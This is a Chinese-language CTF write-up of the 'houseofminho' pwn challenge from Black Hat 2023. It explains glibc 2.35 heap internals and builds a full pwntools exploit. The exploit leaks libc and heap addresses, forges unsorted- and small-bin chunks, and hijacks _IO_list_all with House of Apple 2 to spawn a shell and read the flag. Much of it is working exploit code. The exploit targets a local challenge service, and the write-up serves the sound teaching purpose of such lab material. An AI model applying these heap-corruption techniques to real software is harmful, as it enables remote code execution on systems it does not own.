5404 字
27 分钟
阅读量 --
Hits
[Black Hat 2023] Pwn Houseofminho Csome writeup

前言#

这个是 2023 black hat 第二天的一道 0 解 pwn 题

https://gitee.com/csomebro/ctftask/blob/master/2023-11_BlackHat/houseofminho.zip

题目#

出题人很友好的给了源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80
char *g_buf;
int getint(const char *msg) {
int val;
printf("%s", msg);
if (scanf("%d%*c", &val) != 1) exit(1);
return val;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
puts("1. new\n2. show\n3. delete");
switch (getint("> ")) {
case 1: { /* new */
if (g_buf) {
puts("[-] Buffer in use");
break;
}
if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = (char*)malloc(SIZE_SMALL);
} else {
g_buf = (char*)malloc(SIZE_BIG);
}
printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
}
case 2: { /* show */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
printf("Data: %s\n", g_buf);
}
break;
}
case 3: { /* delete */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
free(g_buf);
g_buf = NULL;
}
break;
}
default:
puts("[+] Bye!");
return 0;
}
}
}

题面十分的简短,主要实现了三个功能,分别为

  1. add 功能,可以申请malloc(0x80)以及malloc(0x40),无论申请哪一个,都会read(0, g_buf, 0x80)
  2. show 功能,直接打印g_buf
  3. free 功能,free(g_buf)之后,清空g_buf

Glibc 版本 为 2.35-3.1

漏洞#

显而易见,漏洞就在 add 功能中read(0, g_buf, 0x80),但是局限十分多

  1. 申请堆块的大小被严格限制,只有 0x40 和 0x80 两种申请
  2. 可以保存的堆块仅仅只有一块,也就是如果需要再次 malloc,必须先 free

那么会带来什么问题呢?

首先 glibc 2.35 已经限制了 tcache bin 内的 chunk 不能多 malloc 一次,也就是如果对应位置的 count 为 0,就不会申请出来,这就否定了直接溢出修改 fd 导致任意地址申请的方法

p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40块
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行

** 上述的做法是行不通的!** 上述操作之后,0x90 管理的位置 count 已经为 0 了,所以下次 malloc (0x80) 就不会从 0x90 的 tcache 取出,无法达成任意地址申请

image-20231117232223970

但是上述做法给了一个思路,我们可以通过多次 free 再次 malloc 0x40 就可以申请回来第一个堆块,并写入 0x80 长度,这个溢出很稳定,以及我们可以修改下一个堆块大小,使得绕过 tcache 多次申请 0x90 的堆块,那么现在我们需要修改 tcachebin 管理 0x90 的 count 值,使得可以任意地址申请。但是这个很难做到,怎么做呢?请读者继续往下看。

信息收集#

如何泄露 libc?如何泄露堆地址?

泄露 Libc 地址#

首先我们需要使用 House of orange 的一个技巧,将 Top Chunk 的 size 改小,然后申请一个大的堆块就可以把,Top Chunk 放入 Unsorted bin 内,之后利用溢出覆盖 size 就可以泄露 libc 地址了。

但是这里有一个极大的问题!Top chunk 需要对其 0x1000,但是已有的堆 + 0x40 或者 0x80 都不可能对齐 0x1000,怎么办?

这里需要提到在没有 setbuf (stdin,0); 的情况下,scanf 的输入长文本,回调用 malloc、realloc、free,其中如果 scanf 输入数据大小为 0x1000,那么会产生一下调用

p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)

那么我们就可以完成 Top Chunk 的攻击了,以下是泄露 libc 的 exp,并修复损坏的 size

add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))

此时堆块的布局如下

image-20231118000114704

为何下方有 0x10 的两个块呢?那就需要了解一下 unsortedbin 的检查

在_int_malloc中有这么一串代码

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

总结一下就是

  1. 检查当前 unsorted bin 内的块size位是不是合法的,是否满足0x10 <= size <= system_mem
  2. 检查当前块下物理地址相邻的下一块size是不是合法的,是否满足0x10 <= size <= system_mem
  3. 检查物理地址相邻的下一块size的prev_size是否和自己的size相等
  4. 检查当前指针的bck->fd是否等于自己,以及自己的fd是否是main_arena内的一个特定地址
  5. 最后检查物理地址相邻的下一块的prev_inuse是不是0

那么如果正常逻辑下 Top Chunk 被 free 到 unsorted bin,说明当前内存应该全部分配完了,如果原封不动直接放到 unsorted bin 内,就会触发上述第 2、3、5 的检查不合法或者溢出,所以为了防止这个事情发生,就需要在下方设置两个小哨兵块,A 块的作用是满足上述第 2、3、5 的检查,设置 prev_size 等关键数据,而B 块的作用是防止 A 块发生 unlink 合并,B 块的prev_inuse标志是 1,代表 A 块是使用中,所以不会发生 unlink,否则 unlink 会报错(试想一下,如果没有 B 块,那么 A 块没有被使用的,如果申请一个刚好大小为当前 unsortbin 的块,再释放,那么就会触发向前合并 unlink,之后由于 A 块的 fd 和 bk 指针问题,导致程序 crash)

image-20231118001409448

到这里,我们压一下脑栈,上述的 unsorted bin 布局,后文会使用到,我们回到泄露上

泄露 heap 地址#

泄露 heap 地址相对简单,直接 free 当前堆块后,由于 tcache bin 的 fd 指针具有REVEAL_PTR的保护,所以 Tcache bin 的第一块由于 fd 是 0,但是被加密之后会变成0 ^ (heap_adde >> 12)的值,故可以直接泄露堆地址

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

泄露并修复的 exp 如下(当前 exp 衔接泄露 libc 的)

... # 衔接上文泄露libc
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))

此时 heap 地址、Libc 地址信息已经收集完毕!我们来看看现在堆长什么样子

image-20231118002652903

当前我们可控的堆块已经标注在图中,为啥叫做可控呢?因为由于 tcache 的原因,以及我们只能拥有一个堆块,所以 free malloc 交替进行我们只能控制这两个区域内存(?这两个区域内存我们应该如何做文章呢?请读者压一压脑栈继续往下看。)

image-20231118002710057

利用攻击#

信息收集终于结束了,堆也变成了不认识的样子,那么我们攻击的入口在哪里呢?

Small bin -> Tcache bin#

答案是Small bin!

为何选用 Small bin 呢?阅读源码我们可以知道,Small bin 是有机会进入 Tcache 的,什么时机进入呢?在 malloc 中如果命中了 Small bin 某个大小的管理,那么就会将这个大小内的剩下所有块依次取出,放入 Tcache 内,直至填满 Tcache

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

也就是代码中的这个部分,下面代码中,bin 就是当前 small bin 的位置,通过 bk 索引,反向查找,对于每一个 Chunk 依次解链,放入了 Tcache bin 中

while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
}
}
}

目标明确,那么命中 small bin 需要先绕过 Tcache,也就是当前Tcache[0x90]不能有 free 的堆块,以及需要一次malloc(0x80),那么我们伪造的 small bin 大小也需要是 0x90

伪造 Small bin(0x90)可行性讨论#

如何伪造一个 0x90 大小的 Small bin 呢?进入 Small bin 可以从 Unsorted bin 进入,如何进入呢?

  1. 当前 Unsorted bin 中有一个 0x90 大小的堆块空闲
  2. malloc 一次大于 0x90 大小的堆块size >= 0x90 && malloc(size),且不能命中 Tcache

条件 2 比较简单满足,依旧是 scanf 利用

对于我们现在的堆块布局来说,我们仅仅只能控制 0x90 堆块 size 位(看上文的泄露后堆布局情况图片),这个位置能做什么文章呢?那么答案十分明朗:伪造 Unsorted bin!

我们先讨论一下,是否可行,我们能溢出可控空间为0x80-0x40=0x40,这个 0x40 大小的空间包括了下一个堆块的prev_size和size位置,以及堆块内容部分。假设我们能修改上图中 0x90 堆块的 size 位置改大,并能成功 free,那么就会进入 unsorted bin 中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局

| prev_size | size |
+--------------------+
0x00 | | 0x50 |
0x10 | | | -- 可控起始位置
+--------------------+ <- Unsorted bin
0x50 | | 0x91 |
0x90 | | |
0xD0 | | | -- 可控终止位置
+--------------------+
0xE0 | | 0x10 | -- Chunk A
+--------------------+
0xF0 | | 0x11 | -- Chunk B
+--------------------+

(可控地址指的是,我们可以通过 malloc (0x40) 向后写 0x80 字节,以及 malloc (0x80) 也能写 0x80 字节,上面例子也就是总长度可控为0x80*2-0x40=0xC0)

但是可控空间完全不够布置下面的 Chunk AB,要怎么办呢?我们需要可控多长呢?

在绞尽脑汁几个小时之后,我注意到了我们貌似浪费了 0x50 堆块中的 0x40 长度的大小。怎么办呢?

这里我们可以利用 Unlink 手法,使得 Unsorted bin 向前合并,首先我们构造如下的布局

| prev_size | size |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
0x20 | | 0x31 |
0x30 | fake fd | fake bk |
+------------------------+
0x50 | 0x30 | 0x?0 | -- 这里的prev_inuse设置为0
0x90 | | |
0xD0 | | | -- 可控终止位置
+------------------------+

使得在 free 掉下方堆块的时候可以向后合并,这样子就可以完成溢出可控距离的扩展

那么这个时候再来讨论一下可控长度,我们此时修改 Unsorted bin 内的布局,此时我们发现可控距离完全足够进行布局了!

| prev_size | size |
+------------------------+
0x00 | | 0x50 |
0x10 | fd | bk | -- 可控起始位置
+------------------------+
0x20 | | 0x91 | <- Unsorted bin
0x90 | | |
+------------------------+
0xB0 | | 0x10 | -- Chunk A
+------------------------+
0xC0 | | 0x11 | -- Chunk B
+------------------------+
0xD0 | | | -- 可控终止位置

(仔细观察上面三个布局演示,可控起始和终止的偏移从未变化,仅仅通过 Unlink 之后利用率提高了)

如何实现 Unlink?

只需要满足下面的条件

p->fd = p;
p->bk = p;
next(p)->prev_inuse = 0;
next(p)->prev_size = p->size;

绕过源码中,下面这个检查

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

但是但是,现在还有一个问题,实现 unlink 攻击,需要 free 掉一个大的堆块进入 Unsorted bin 内,也就是说,我们需要修改原来 0x90 堆块的 size 改大,并需要满足 free 的 Unsorted bin 检查,也就是,尽量不要进入向前合并流程(因为我们本来可控的空间就只有上面的[0x10,0xD0]),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!

伪造 Unsorted bin#

我们再次回顾一下当前的堆布局,可以看到当前 unsorted bin 下方有一个 0x10 和 0x11 的堆块,那么我们假设,如果有某种方法,使得 0x90 这个堆块覆盖成以下的红色框框圈起来呢?并且是否有方法让下方 0x11 堆块之后的 prev_inuse 变成 1 呢?(为何要为 1,因为要防止合并)

image-20231118013645858

什么时候能修改最下方堆块的内容呢?答案是还是scanf!

scanf 的缓冲区会申请再堆内,那我如果缓冲区足够大是否能够刚好往 0x11 堆块的后面 size 内写入一些数据呢?写入多少呢?

0x33!!!因为这个 ascii 字符是3,也就是选择 free 的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分 “干净” 的时候啦

那么经过测试,再所有操作之前输入 0xd58 个字符 0 以及一个字符 3 即可

def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x40 + p64(0) + p64(0x91))

让我们再看看堆块长什么样子了

image-20231118014409013

WoW!!成功污染!那么我们就能成功伪造 Unsorted bin 了,稍微微调以下代码可以得到

free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里微调了0x90堆块的size位置,不再是修复而是伪造
add(1, b"a" * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b"aaaa")
free()

此时我们可以看到 unsorted bin 内如愿以偿的放入了我们的 Fake Chunk!

image-20231118014647807

感谢你耐心看到这里,相信你现在脑栈已经快爆了,终于我们迎来了弹出脑栈的步骤了

将上文的 Unlink 攻击实施,微调 Exp 可以得到如下

free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 这里修改了unlink攻击的内容
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"aaaa")
free()

此时堆块就不那么好看了。

image-20231118015159589

如此查看我们可以发现 unlink 成功实施了,Unsorted bin 内第一个堆块从 0xd00 变成了 0xd30

那么继续我们将伪造 Small bin 的攻击实施,再次微调 Exp

free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
# 这次微调了这里,加入了上文提到的Chunk AB的布置
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
# 这里就开始修改Unsorted bin内容,使得在Unsorted bin内伪造一个Small bin大小的堆块
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000) # 这里触发使得Unsorted bin进入Samll bin
free()

让我们再次检验堆块的结构!完美成功进入了 Small bin!!!

image-20231118015627633

那么接下来我们就要开始在 Small bin 里面伪造一条多个 0x90 的链条,使得再次 malloc (0x80) 命中 small bin 的时候,放入 Tcache bin 中

修改 Small bin#

首先我们需要知道我们能改动多长?0x80 长度,然而除去 tcache bin 的 fd 和 bk 位置,仅剩下 0x70 长度可以可控,也就是说,我们需要在 0x70 的长度中尽可能多的伪造 0x90 堆块,并串起来

我们仅仅只能伪造 3 个 0x90 的堆块,如何伪造?

可以参考如下图的伪造方法,可以看到这里 bk 连线串成了一条链

houseofminho_smallbin

注意红色 Chunk 位置的 fd 设置,需要绕过 small bin 中的检查(下面源码),而黄色的绿色的 fd 是否需要设置,留给读者们讨论

if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");

那么稍微微调一下 exp

free3(0xd59)
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000)
free()
# 这里加上了Small bin的伪造
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,
0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,
0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()

此时堆布局如下

image-20231118021620888

可以看到出现了错误,不过问题不大,源码时通过 BK 进行遍历的,在 BK 位置确实出现了 3 个 Chunk

此时我们就可以 malloc (0x80) 命中一次 Small bin 的 0x90

add(2, b"aaaa")
free()

那么此时堆块就会变成,下面这样!WoW,我们可以控制 Tcache bin 0x90 位置的 fd 指针!并且此时 0x90 位置的 Count 有 3!!!

image-20231118022002073

胜利的曙光就在眼前了,接下来是 House of apple 2 登场!

House of Apple 2#

House of Apple 2 的教程见https://bbs.kanxue.com/thread-273832.htm,这里膜拜一下 Orz

经过我的调优可以简化到如下的布局

system = 0x50d60 + libc_base
fake_file = flat({
0x0: b" sh;",
0x28: system,
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc_base + 0x2160C0, # vtable
}, filler=b"\x00")

我们需要结合当前的情况在做调整,首先我们需要再次延长可控的空间,方法也简单,毕竟 Tcache bin 的 Count 有 3,我们可以先伪造一次 fd 到堆上,再伪造进入_IO_list_all

(为何不劫持 Tcache bin 管理块呢?因为我们只能拥有一个堆块,需要 free 之后再次 malloc 才能控制下一个,一旦劫持到 Tcachebin 管理块,没有一个合适的 size 位置,是无法成功 free 的)

由于大小范围可控需要 0xe0 长度,所以我们第一个堆块需要扩展一次,使用上面的 0x50 的堆块对下面 0x90tcache 的溢出修改,使得布局如下图,这样子 Chunk 1 申请出来的时候,可以保证能控制到 Chunk 2 的 fd,依旧能继续攻击,也能延长可控范围到 0xf0,使得攻击成立,而 Chunk 1 的 size 改为 0x71 是为了防止 free 之后进入 0x90 导致后面的 Chunk 无法取出

houseofminho_tcachebin

那么经过简单的布置,最终攻击_IO_list_all之后,就完成了 House of Apple 2 的攻击

完整 Exp#

from pwn import *
context.log_level = 'info'
context.arch = 'amd64'
# io = process("./minho")
io = remote("127.0.0.1", 5000)
tob = lambda x: str(x).encode()
def add(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", tob(size))
io.sendafter(b"Data: ", content)
def add2(size_content, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Size [1=small / 2=big]: ", size_content)
io.sendafter(b"Data: ", content)
def show():
io.sendlineafter(b"> ", b"2")
def show2(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2")
def show3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"2" + b"\x00")
def free():
io.sendlineafter(b"> ", b"3")
def free3(len):
io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # 这一行的作用见上文【伪造Unsorted bin】
# 这一部分信息收集见上文【信息收集】
add(1, b"a" * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0
log.success(f"libc_base : {libc_base:#x}")
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"aaaa")
free()
add(2, b"aaaa")
free()
add(1, b"a" * 0x50)
show()
io.recvuntil(b"Data: " + b"a" * 0x50)
heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
log.success(f"heap_base : {heap_base:#x}")
free()
# 见上文【Unlink攻击以及Smallbin伪造攻击实施】
add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
0x10: 0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x219ce0,
}, filler=b"\x00"))
show2(0x1000)
free()
# 见上文【修改Small bin】
add(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base + 0x2c0 + 0x30,
0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,
0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0 + 0x30,
0x68: libc_base + 0x219d60
}
}
, filler=b"\x00"))
free()
add(2, b"aaaa")
free()
_IO_list_all = libc_base + 0x21a680
system = 0x50d60 + libc_base
fake_file = heap_base + 0x2e0
# 见上文House of apple 2中解释
add(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))
free()
# 这里是布置House of apple 2
add(2, flat({
0x0+0x10: b" sh;",
0x28+0x10: system,
0x68: 0x71,
0x70: _IO_list_all ^((heap_base)>>12),
}, filler=b"\x00"))
free()
add(2, flat({
0xa0-0x60: fake_file-0x10,
0xd0-0x60: fake_file+0x28-0x68,
0xD8-0x60: libc_base + 0x2160C0, # jumptable
}, filler=b"\x00"))
free()
add(2, p64(fake_file))
pause(1)
io.sendline(b"0")
pause(1)
io.sendline(b"cat /flag*")
io.interactive()

image-20231118024517191

Flag 获得完结撒花!

[Black Hat 2023] Pwn Houseofminho Csome writeup
https://blog.csome.cc/p/houseofminho-wp/
作者
Csome
发布于
2023-11-18
许可协议
CC BY-SA 3.0